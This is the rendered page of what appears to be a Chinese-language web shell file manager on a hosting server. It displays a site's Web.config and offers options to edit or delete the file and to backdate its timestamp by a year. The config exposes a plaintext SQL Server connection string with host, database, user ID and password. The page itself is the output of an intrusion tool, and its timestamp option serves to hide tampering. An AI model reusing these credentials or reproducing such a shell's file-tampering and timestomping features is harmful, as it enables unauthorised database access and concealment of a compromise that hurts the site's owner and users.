文件操作 - Web.config
返回文件管理
返回主菜单
删除本文件
文件: E:\HostingSpaces\kimblycr\algo.kimbly.in\wwwroot\Web.config
编辑文件内容
<?xml version="1.0" encoding="utf-8"?> <!-- For more information on how to configure your ASP.NET application, please visit http://go.microsoft.com/fwlink/?LinkId=169433 --> <configuration> <connectionStrings> <add name="AlgoConnectionString" connectionString="Data Source=sharedmssql7.securehostdns.com,1234;;Initial Catalog=kimblyalgo;Persist Security Info=True;User ID=kimbly;Password=Password@1234" providerName="System.Data.SqlClient" /> </connectionStrings> <system.web> <compilation targetFramework="4.5" /> <httpRuntime targetFramework="4.5" /> <customErrors mode="Off"/> </system.web> <system.webServer> <rewrite> <rules> <rule name="Force HTTPS" enabled="true"> <match url="(.*)" ignoreCase="false"/> <conditions> <add input="{HTTPS}" pattern="off"/> </conditions> <action type="Redirect" url="https://{HTTP_HOST}/{R:1}" appendQueryString="true" redirectType="Permanent"/> </rule> </rules> </rewrite> </system.webServer> </configuration>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件